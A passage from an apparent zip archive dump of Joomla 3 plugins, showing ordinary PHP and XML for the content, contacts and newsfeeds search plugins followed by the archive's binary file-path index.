					$wheres[] = implode(' OR ', $wheres2);
				}

				if ($phrase === 'any')
				{
					// Join over Fields.
					$subQuery = $db->getQuery(true);
					$subQuery->select("cfv.item_id")
						->from("#__fields_values AS cfv")
						->join('LEFT', '#__fields AS f ON f.id = cfv.field_id')
						->where('(f.context IS NULL OR f.context = ' . $db->q('com_content.article') . ')')
						->where('(f.state IS NULL OR f.state = 1)')
						->where('(f.access IS NULL OR f.access IN (' . $groups . '))')
						->where('(' . implode(($phrase === 'all' ? ') AND (' : ') OR ('), $cfwhere) . ')');

					// Filter by language.
					if ($app->isClient('site') && JLanguageMultilang::isEnabled())
					{
						$subQuery->where('(f.language IS NULL OR f.language in (' . $db->quote($tag) . ',' . $db->quote('*') . '))');
					}

					if ($serverType == "mysql")
					{
						$db->setQuery($subQuery);
						$fieldids = $db->loadColumn();

						if (count($fieldids))
						{
							$wheres[] = 'a.id IN(' . implode(",", $fieldids) . ')';
						}
					}
					else
					{
						$wheres[] = $subQuery->castAsChar('a.id') . ' IN( ' . (string) $subQuery . ')';
					}
				}

				$where = '(' . implode(($phrase === 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
				break;
		}

		switch ($ordering)
		{
			case 'oldest':
				$order = 'a.created ASC';
				break;

			case 'popular':
				$order = 'a.hits DESC';
				break;

			case 'alpha':
				$order = 'a.title ASC';
				break;

			case 'category':
				$order = 'c.title ASC, a.title ASC';
				break;

			case 'newest':
			default:
				$order = 'a.created DESC';
				break;
		}

		$rows = array();
		$query = $db->getQuery(true);

		// Search articles.
		if ($sContent && $limit > 0)
		{
			$query->clear();

			// SQLSRV changes.
			$case_when  = ' CASE WHEN ';
			$case_when .= $query->charLength('a.alias', '!=', '0');
			$case_when .= ' THEN ';
			$a_id       = $query->castAsChar('a.id');
			$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
			$case_when .= ' ELSE ';
			$case_when .= $a_id . ' END as slug';

			$case_when1  = ' CASE WHEN ';
			$case_when1 .= $query->charLength('c.alias', '!=', '0');
			$case_when1 .= ' THEN ';
			$c_id        = $query->castAsChar('c.id');
			$case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
			$case_when1 .= ' ELSE ';
			$case_when1 .= $c_id . ' END as catslug';

			if (!empty($relevance))
			{
				$query->select(implode(' + ', $relevance) . ' AS relevance');
				$order = ' relevance DESC, ' . $order;
			}

			$query->select('a.title AS title, a.metadesc, a.metakey, a.created AS created, a.language, a.catid')
				->select($query->concatenate(array('a.introtext', 'a.fulltext')) . ' AS text')
				->select('c.title AS section, ' . $case_when . ',' . $case_when1 . ', ' . '\'2\' AS browsernav')
				->from('#__content AS a')
				->join('INNER', '#__categories AS c ON c.id=a.catid')
				->where(
					'(' . $where . ') AND a.state=1 AND c.published = 1 AND a.access IN (' . $groups . ') '
						. 'AND c.access IN (' . $groups . ')'
						. 'AND (a.publish_up = ' . $db->quote($nullDate) . ' OR a.publish_up <= ' . $db->quote($now) . ') '
						. 'AND (a.publish_down = ' . $db->quote($nullDate) . ' OR a.publish_down >= ' . $db->quote($now) . ')'
				)
				->group('a.id, a.title, a.metadesc, a.metakey, a.created, a.language, a.catid, a.introtext, a.fulltext, c.title, a.alias, c.alias, c.id')
				->order($order);

			// Filter by language.
			if ($app->isClient('site') && JLanguageMultilang::isEnabled())
			{
				$query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')')
					->where('c.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
			}

			$db->setQuery($query, 0, $limit);

			try
			{
				$list = $db->loadObjectList();
			}
			catch (RuntimeException $e)
			{
				$list = array();
				JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
			}

			$limit -= count($list);

			if (isset($list))
			{
				foreach ($list as $key => $item)
				{
					$list[$key]->href = ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language);
				}
			}

			$rows[] = $list;
		}

		// Search archived content.
		if ($sArchived && $limit > 0)
		{
			$query->clear();

			// SQLSRV changes.
			$case_when  = ' CASE WHEN ';
			$case_when .= $query->charLength('a.alias', '!=', '0');
			$case_when .= ' THEN ';
			$a_id       = $query->castAsChar('a.id');
			$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
			$case_when .= ' ELSE ';
			$case_when .= $a_id . ' END as slug';

			$case_when1  = ' CASE WHEN ';
			$case_when1 .= $query->charLength('c.alias', '!=', '0');
			$case_when1 .= ' THEN ';
			$c_id        = $query->castAsChar('c.id');
			$case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
			$case_when1 .= ' ELSE ';
			$case_when1 .= $c_id . ' END as catslug';

			if (!empty($relevance))
			{
				$query->select(implode(' + ', $relevance) . ' AS relevance');
				$order = ' relevance DESC, ' . $order;
			}

			$query->select('a.title AS title, a.metadesc, a.metakey, a.created AS created, a.language, a.catid')
				->select($query->concatenate(array('a.introtext', 'a.fulltext')) . ' AS text')
				->select('c.title AS section, ' . $case_when . ',' . $case_when1 . ', ' . '\'2\' AS browsernav')
				->from('#__content AS a')
				->join('INNER', '#__categories AS c ON c.id=a.catid AND c.access IN (' . $groups . ')')
				->where(
					'(' . $where . ') AND a.state = 2 AND c.published = 1 AND a.access IN (' . $groups
						. ') AND c.access IN (' . $groups . ') '
						. 'AND (a.publish_up = ' . $db->quote($nullDate) . ' OR a.publish_up <= ' . $db->quote($now) . ') '
						. 'AND (a.publish_down = ' . $db->quote($nullDate) . ' OR a.publish_down >= ' . $db->quote($now) . ')'
				)
				->order($order);

			// Join over Fields is no longer needed

			// Filter by language.
			if ($app->isClient('site') && JLanguageMultilang::isEnabled())
			{
				$query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')')
					->where('c.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
			}

			$db->setQuery($query, 0, $limit);

			try
			{
				$list3 = $db->loadObjectList();
			}
			catch (RuntimeException $e)
			{
				$list3 = array();
				JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
			}

			if (isset($list3))
			{
				foreach ($list3 as $key => $item)
				{
					$list3[$key]->href = ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language);
				}
			}

			$rows[] = $list3;
		}

		$results = array();

		if (count($rows))
		{
			foreach ($rows as $row)
			{
				$new_row = array();

				foreach ($row as $article)
				{
					// Not efficient to get these ONE article at a TIME
					// Lookup field values so they can be checked, GROUP_CONCAT would work in above queries, but isn't supported by non-MySQL DBs.
					$query = $db->getQuery(true);
					$query->select('fv.value')
						->from('#__fields_values as fv')
						->join('left', '#__fields as f on fv.field_id = f.id')
						->where('f.context = ' . $db->quote('com_content.article'))
						->where('fv.item_id = ' . $db->quote((int) $article->slug));
					$db->setQuery($query);
					$article->jcfields = implode(',', $db->loadColumn());

					if (SearchHelper::checkNoHtml($article, $searchText, array('text', 'title', 'jcfields', 'metadesc', 'metakey')))
					{
						$new_row[] = $article;
					}
				}

				$results = array_merge($results, (array) $new_row);
			}
		}

		return $results;
	}

}
PK�(]��ֆ��search/content/content.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search" method="upgrade">
	<name>plg_search_content</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEARCH_CONTENT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="content">content.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_search_content.ini</language>
		<language tag="en-GB">en-GB.plg_search_content.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="search_limit"
					type="number"
					label="PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_LABEL"
					description="PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_DESC"
					default="50"
					filter="integer"
					size="5"
				/>

				<field
					name="search_content"
					type="radio"
					label="PLG_SEARCH_CONTENT_FIELD_CONTENT_LABEL"
					description="PLG_SEARCH_CONTENT_FIELD_CONTENT_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="search_archived"
					type="radio"
					label="PLG_SEARCH_CONTENT_FIELD_ARCHIVED_LABEL"
					description="PLG_SEARCH_CONTENT_FIELD_ARCHIVED_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>

		</fields>
	</config>
</extension>
PK�(]f ����search/contacts/contacts.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search" method="upgrade">
	<name>plg_search_contacts</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEARCH_CONTACTS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contacts">contacts.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_search_contacts.ini</language>
		<language tag="en-GB">en-GB.plg_search_contacts.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="search_limit"
					type="number"
					label="JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL"
					description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
					default="50"
					filter="integer"
					size="5"
				/>

				<field
					name="search_content"
					type="radio"
					label="JFIELD_PLG_SEARCH_ALL_LABEL"
					description="JFIELD_PLG_SEARCH_ALL_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="search_archived"
					type="radio"
					label="JFIELD_PLG_SEARCH_ARCHIVED_LABEL"
					description="JFIELD_PLG_SEARCH_ARCHIVED_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�"(�77search/contacts/contacts.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Search.contacts
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Contacts search plugin.
 *
 * @since  1.6
 */
class PlgSearchContacts extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   1.6
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'contacts' => 'PLG_SEARCH_CONTACTS_CONTACTS'
		);

		return $areas;
	}

	/**
	 * Search content (contacts).
	 *
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   string  $areas     An array if the search is to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   1.6
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		JLoader::register('ContactHelperRoute', JPATH_SITE . '/components/com_contact/helpers/route.php');

		$db     = JFactory::getDbo();
		$app    = JFactory::getApplication();
		$user   = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas())))
		{
			return array();
		}

		$sContent  = $this->params->get('search_content', 1);
		$sArchived = $this->params->get('search_archived', 1);
		$limit     = $this->params->def('search_limit', 50);
		$state     = array();

		if ($sContent)
		{
			$state[] = 1;
		}

		if ($sArchived)
		{
			$state[] = 2;
		}

		if (empty($state))
		{
			return array();
		}

		$text = trim($text);

		if ($text === '')
		{
			return array();
		}

		$section = JText::_('PLG_SEARCH_CONTACTS_CONTACTS');

		switch ($ordering)
		{
			case 'alpha':
				$order = 'a.name ASC';
				break;

			case 'category':
				$order = 'c.title ASC, a.name ASC';
				break;

			case 'popular':
			case 'newest':
			case 'oldest':
			default:
				$order = 'a.name DESC';
		}

		$text = $db->quote('%' . $db->escape($text, true) . '%', false);

		$query = $db->getQuery(true);

		// SQLSRV changes.
		$case_when  = ' CASE WHEN ';
		$case_when .= $query->charLength('a.alias', '!=', '0');
		$case_when .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when .= ' ELSE ';
		$case_when .= $a_id . ' END as slug';

		$case_when1  = ' CASE WHEN ';
		$case_when1 .= $query->charLength('c.alias', '!=', '0');
		$case_when1 .= ' THEN ';
		$c_id        = $query->castAsChar('c.id');
		$case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when1 .= ' ELSE ';
		$case_when1 .= $c_id . ' END as catslug';

		$query->select(
			'a.name AS title, \'\' AS created, a.con_position, a.misc, '
				. $case_when . ',' . $case_when1 . ', '
				. $query->concatenate(array('a.name', 'a.con_position', 'a.misc'), ',') . ' AS text,'
				. $query->concatenate(array($db->quote($section), 'c.title'), ' / ') . ' AS section,'
				. '\'2\' AS browsernav'
		);
		$query->from('#__contact_details AS a')
			->join('INNER', '#__categories AS c ON c.id = a.catid')
			->where(
				'(a.name LIKE ' . $text . ' OR a.misc LIKE ' . $text . ' OR a.con_position LIKE ' . $text
					. ' OR a.address LIKE ' . $text . ' OR a.suburb LIKE ' . $text . ' OR a.state LIKE ' . $text
					. ' OR a.country LIKE ' . $text . ' OR a.postcode LIKE ' . $text . ' OR a.telephone LIKE ' . $text
					. ' OR a.fax LIKE ' . $text . ') AND a.published IN (' . implode(',', $state) . ') AND c.published=1 '
					. ' AND a.access IN (' . $groups . ') AND c.access IN (' . $groups . ')'
			)
			->order($order);

		// Filter by language.
		if ($app->isClient('site') && JLanguageMultilang::isEnabled())
		{
			$tag = JFactory::getLanguage()->getTag();
			$query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')')
				->where('c.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
		}

		$db->setQuery($query, 0, $limit);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$rows = array();
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		if ($rows)
		{
			foreach ($rows as $key => $row)
			{
				$rows[$key]->href  = ContactHelperRoute::getContactRoute($row->slug, $row->catslug);
				$rows[$key]->text  = $row->title;
				$rows[$key]->text .= $row->con_position ? ', ' . $row->con_position : '';
				$rows[$key]->text .= $row->misc ? ', ' . $row->misc : '';
			}
		}

		return $rows;
	}
}
PK�(]T��search/newsfeeds/newsfeeds.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="search" method="upgrade">
	<name>plg_search_newsfeeds</name>
	<author>Joomla! Project</author>
	<creationDate>November 2005</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="newsfeeds">newsfeeds.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_search_newsfeeds.ini</language>
		<language tag="en-GB">en-GB.plg_search_newsfeeds.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="search_limit"
					type="number"
					label="JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL"
					description="JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC"
					default="50"
					filter="integer"
					size="5"
				/>

				<field
					name="search_content"
					type="radio"
					label="JFIELD_PLG_SEARCH_ALL_LABEL"
					description="JFIELD_PLG_SEARCH_ALL_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="search_archived"
					type="radio"
					label="JFIELD_PLG_SEARCH_ARCHIVED_LABEL"
					description="JFIELD_PLG_SEARCH_ARCHIVED_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]*o�search/newsfeeds/newsfeeds.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Search.newsfeeds
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Newsfeeds search plugin.
 *
 * @since  1.6
 */
class PlgSearchNewsfeeds extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Determine areas searchable by this plugin.
	 *
	 * @return  array  An array of search areas.
	 *
	 * @since   1.6
	 */
	public function onContentSearchAreas()
	{
		static $areas = array(
			'newsfeeds' => 'PLG_SEARCH_NEWSFEEDS_NEWSFEEDS'
		);

		return $areas;
	}

	/**
	 * Search content (newsfeeds).
	 *
	 * The SQL must return the following fields that are used in a common display
	 * routine: href, title, section, created, text, browsernav.
	 *
	 * @param   string  $text      Target search string.
	 * @param   string  $phrase    Matching option (possible values: exact|any|all).  Default is "any".
	 * @param   string  $ordering  Ordering option (possible values: newest|oldest|popular|alpha|category).  Default is "newest".
	 * @param   mixed   $areas     An array if the search it to be restricted to areas or null to search all areas.
	 *
	 * @return  array  Search results.
	 *
	 * @since   1.6
	 */
	public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)
	{
		$db = JFactory::getDbo();
		$app = JFactory::getApplication();
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas())))
		{
			return array();
		}

		$sContent = $this->params->get('search_content', 1);
		$sArchived = $this->params->get('search_archived', 1);
		$limit = $this->params->def('search_limit', 50);
		$state = array();

		if ($sContent)
		{
			$state[] = 1;
		}

		if ($sArchived)
		{
			$state[] = 2;
		}

		if (empty($state))
		{
			return array();
		}

		$text = trim($text);

		if ($text === '')
		{
			return array();
		}

		switch ($phrase)
		{
			case 'exact':
				$text = $db->quote('%' . $db->escape($text, true) . '%', false);
				$wheres2 = array();
				$wheres2[] = 'a.name LIKE ' . $text;
				$wheres2[] = 'a.link LIKE ' . $text;
				$where = '(' . implode(') OR (', $wheres2) . ')';
				break;

			case 'all':
			case 'any':
			default:
				$words = explode(' ', $text);
				$wheres = array();

				foreach ($words as $word)
				{
					$word = $db->quote('%' . $db->escape($word, true) . '%', false);
					$wheres2 = array();
					$wheres2[] = 'a.name LIKE ' . $word;
					$wheres2[] = 'a.link LIKE ' . $word;
					$wheres[] = implode(' OR ', $wheres2);
				}

				$where = '(' . implode(($phrase === 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
				break;
		}

		switch ($ordering)
		{
			case 'alpha':
				$order = 'a.name ASC';
				break;

			case 'category':
				$order = 'c.title ASC, a.name ASC';
				break;

			case 'oldest':
			case 'popular':
			case 'newest':
			default:
				$order = 'a.name ASC';
		}

		$searchNewsfeeds = JText::_('PLG_SEARCH_NEWSFEEDS_NEWSFEEDS');

		$query = $db->getQuery(true);

		// SQLSRV changes.
		$case_when  = ' CASE WHEN ';
		$case_when .= $query->charLength('a.alias', '!=', '0');
		$case_when .= ' THEN ';
		$a_id       = $query->castAsChar('a.id');
		$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when .= ' ELSE ';
		$case_when .= $a_id . ' END as slug';

		$case_when1  = ' CASE WHEN ';
		$case_when1 .= $query->charLength('c.alias', '!=', '0');
		$case_when1 .= ' THEN ';
		$c_id        = $query->castAsChar('c.id');
		$case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when1 .= ' ELSE ';
		$case_when1 .= $c_id . ' END as catslug';

		$query->select('a.name AS title, \'\' AS created, a.link AS text, ' . $case_when . ',' . $case_when1)
			->select($query->concatenate(array($db->quote($searchNewsfeeds), 'c.title'), ' / ') . ' AS section')
			->select('\'1\' AS browsernav')
			->from('#__newsfeeds AS a')
			->join('INNER', '#__categories as c ON c.id = a.catid')
			->where('(' . $where . ') AND a.published IN (' . implode(',', $state) . ') AND c.published = 1 AND c.access IN (' . $groups . ')')
			->order($order);

		// Filter by language.
		if ($app->isClient('site') && JLanguageMultilang::isEnabled())
		{
			$tag = JFactory::getLanguage()->getTag();
			$query->where('a.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')')
				->where('c.language in (' . $db->quote($tag) . ',' . $db->quote('*') . ')');
		}

		$db->setQuery($query, 0, $limit);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$rows = array();
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		if ($rows)
		{
			foreach ($rows as $key => $row)
			{
				$rows[$key]->href = 'index.php?option=com_newsfeeds&view=newsfeed&catid=' . $row->catslug . '&id=' . $row->slug;
			}
		}

		return $rows;
	}
}
PK�(]���user/joomla/joomla.xmlnu�[���PK�(]m�_�))Uuser/joomla/joomla.phpnu�[���PK�(]��i�;4;4�0user/profile/profile.phpnu�[���PK�(]̨h)x'x'-euser/profile/profile.xmlnu�[���PK�(]�uH!�user/profile/profiles/profile.xmlnu�[���PK�(]*�M�user/profile/field/tos.phpnu�[���PK�(]!�*�����user/profile/field/dob.phpnu�[���PK�(]&���Ƭuser/terms/terms/terms.xmlnu�[���PK�(]�r
����user/terms/field/terms.phpnu�[���PK�(]�+''�user/terms/terms.phpnu�[���PK�(]�*������user/terms/terms.xmlnu�[���PK�(]6�^�kk&��user/contactcreator/contactcreator.xmlnu�[���PK�(]]��c��&r�user/contactcreator/contactcreator.phpnu�[���PK�(]B�GM��O�extension/jce/jce.phpnu�[���PK�(]y(��iextension/jce/jce.xmlnu�[���PK�(]tx%$>extension/joomla/joomla.xmlnu�[���PK�(]�5��ww�extension/joomla/joomla.phpnu�[���PK�(]��
�
3[+captcha/recaptcha_invisible/recaptcha_invisible.xmlnu�[���PK�(]��y��3�6captcha/recaptcha_invisible/recaptcha_invisible.phpnu�[���PK�(]9t�V&V&�Lcaptcha/recaptcha/recaptcha.phpnu�[���PK�(]���scaptcha/recaptcha/recaptcha.xmlnu�[���PK�(]�-4�)�captcha/recaptcha/postinstall/actions.phpnu�[���PK�(]��y�(W�captcha/recaptcha/postinstall/lindex.phpnu�[���PK�(]=�S�����content/contact/contact.phpnu�[���PK�(]�=�bb�content/contact/contact.xmlnu�[���PK�(]4M�FF��content/finder/finder.xmlnu�[���PK�(]c|���?�content/finder/finder.phpnu�[���PK�(]�54س�%U�content/pagebreak/tmpl/navigation.phpnu�[���PK�(]f ph��]�content/pagebreak/tmpl/toc.phpnu�[���PK�(]��^��content/pagebreak/pagebreak.xmlnu�[���PK�(]}$*�%�%�content/pagebreak/pagebreak.phpnu�[���PK�(](q���!Kcontent/emailcloak/emailcloak.xmlnu�[���PK�(]tKh��D�D!qcontent/emailcloak/emailcloak.phpnu�[���PK�(]���qq�Lcontent/fields/fields.xmlnu�[���PK�(]��ig``yPcontent/fields/fields.phpnu�[���PK�(]'/�"�""acontent/joomla/joomla.phpnu�[���PK�(]�|f..`�content/joomla/joomla.xmlnu�[���PK�(]�5JJ׊content/rsform/script.phpnu�[���PK�(]�S@##j�content/rsform/rsform.xmlnu�[���PK�(]��}r

֝content/rsform/rsform.phpnu�[���PK�(]�#o,,'�content/rsform/index.htmlnu�[���PK�(]��`�jj��content/vote/vote.phpnu�[���PK�(]m*�~~K�content/vote/vote.xmlnu�[���PK�(]'��ww�content/vote/tmpl/rating.phpnu�[���PK�(]^�y����content/vote/tmpl/vote.phpnu�[���PK�(]�Ȭ����content/jce/jce.xmlnu�[���PK�(]�F�3��content/jce/jce.phpnu�[���PK�(]�#o,,��content/jce/css/index.htmlnu�[���PK�(]�<��S�content/jce/css/media.cssnu�[���PK�(]@4'Y�content/pagenavigation/tmpl/default.phpnu�[���PK�(]:k��)/�content/pagenavigation/pagenavigation.phpnu�[���PK�(]f�;��)��content/pagenavigation/pagenavigation.xmlnu�[���PK�(]Ձ�$��!�content/loadmodule/loadmodule.phpnu�[���PK�(]�[z6��!�content/loadmodule/loadmodule.xmlnu�[���PK�(]P�Ltt,�content/confirmconsent/fields/consentbox.phpnu�[���PK�(]�5�77)�8content/confirmconsent/confirmconsent.xmlnu�[���PK�(]�p�|��)5?content/confirmconsent/confirmconsent.phpnu�[���PK�(]�k\�tGeditors-xtd/article/article.xmlnu�[���PK�(]�"EOO�Jeditors-xtd/article/article.phpnu�[���PK�(]�C���yReditors-xtd/module/module.phpnu�[���PK�(]�����Xeditors-xtd/module/module.xmlnu�[���PK�(]�RL$$�[editors-xtd/contact/contact.xmlnu�[���PK�(]K����Z_editors-xtd/contact/contact.phpnu�[���PK�(]<^�I..#;eeditors-xtd/pagebreak/pagebreak.xmlnu�[���PK�(]Rk����#�heditors-xtd/pagebreak/pagebreak.phpnu�[���PK�(]�-�QHH�peditors-xtd/tabs/helper.phpnu�[���PK�(]�-,��<editors-xtd/tabs/fields.xmlnu�[���PK�(]��H1��#o�editors-xtd/tabs/script.install.phpnu�[���PK�(]z�9>��editors-xtd/tabs/language/en-GB/en-GB.plg_editors-xtd_tabs.ininu�[���PK�(]�RS

B�editors-xtd/tabs/language/en-GB/en-GB.plg_editors-xtd_tabs.sys.ininu�[���PK�(]�ױ|��B��editors-xtd/tabs/language/fr-FR/fr-FR.plg_editors-xtd_tabs.sys.ininu�[���PK�(]R�	�jj>��editors-xtd/tabs/language/fr-FR/fr-FR.plg_editors-xtd_tabs.ininu�[���PK�(]/B~���editors-xtd/tabs/popup.phpnu�[���PK�(]d`����editors-xtd/tabs/tabs.xmlnu�[���PK�(]��{d��7�editors-xtd/tabs/tabs.phpnu�[���PK�(]AҺ��H�editors-xtd/tabs/data.phpnu�[���PK�(]�5Cb���editors-xtd/tabs/popup.tmpl.phpnu�[���PK�(]죻�C�C*H�editors-xtd/tabs/script.install.helper.phpnu�[���PK�(]�����editors-xtd/fields/fields.phpnu�[���PK�(]�4yl�editors-xtd/fields/fields.xmlnu�[���PK�(]�䮉XXeditors-xtd/menu/menu.phpnu�[���PK�(]��=�#editors-xtd/menu/menu.xmlnu�[���PK�(]|�/4}}'editors-xtd/image/image.phpnu�[���PK�(]�6��/editors-xtd/image/image.xmlnu�[���PK�(]���GG!/3editors-xtd/readmore/readmore.phpnu�[���PK�(]��bi!�8editors-xtd/readmore/readmore.xmlnu�[���PK�(]�dd�T
T
4<installer/jce/jce.phpnu�[���PK�(]X	�`���Finstaller/jce/jce.xmlnu�[���PK�(]�?>>-�Jinstaller/folderinstaller/folderinstaller.xmlnu�[���PK�(]�#���-=Ninstaller/folderinstaller/folderinstaller.phpnu�[���PK�(]�a���*|Rinstaller/folderinstaller/tmpl/default.phpnu�[���PK�(]�)haa'�Xinstaller/urlinstaller/tmpl/default.phpnu�[���PK�(]d�,,'C]installer/urlinstaller/urlinstaller.xmlnu�[���PK�(],�/���'�`installer/urlinstaller/urlinstaller.phpnu�[���PK�(]��ĸ88�dinstaller/rsform/index.htmlnu�[���PK�(]��veinstaller/rsform/rsform.phpnu�[���PK�(]?���linstaller/rsform/rsform.xmlnu�[���PK�(]�a�'*qinstaller/webinstaller/webinstaller.xmlnu�[���PK�(])�H]��&�uinstaller/webinstaller/tmpl/hathor.phpnu�[���PK�(]i���yy'�}installer/webinstaller/tmpl/default.phpnu�[���PK�(]u�d��'w�installer/webinstaller/webinstaller.phpnu�[���PK�(]O�,,.Ȟinstaller/webinstaller/webinstaller.script.phpnu�[���PK�(]��q$q$+R�installer/packageinstaller/tmpl/default.phpnu�[���PK�(]RdDD/�installer/packageinstaller/packageinstaller.xmlnu�[���PK�(]u��	��/��installer/packageinstaller/packageinstaller.phpnu�[���PK�(]-&\�**�quickicon/eos310/eos310.phpnu�[���PK�(]�.U9���	quickicon/eos310/eos310.xmlnu�[���PK�(]��Mq
q
-�
quickicon/extensionupdate/extensionupdate.phpnu�[���PK�(]J�Ƶuu-Rquickicon/extensionupdate/extensionupdate.xmlnu�[���PK�(]���mII-$quickicon/phpversioncheck/phpversioncheck.xmlnu�[���PK�(]�����-� quickicon/phpversioncheck/phpversioncheck.phpnu�[���PK�(]��ѡ�� �8quickicon/akeebabackup/.htaccessnu�[���PK�(]�;��!�9quickicon/akeebabackup/script.phpnu�[���PK�(]̏�ʆ�'%<quickicon/akeebabackup/akeebabackup.xmlnu�[���PK�(]b�d�3�3'Hquickicon/akeebabackup/akeebabackup.phpnu�[���PK�(]L�J���!
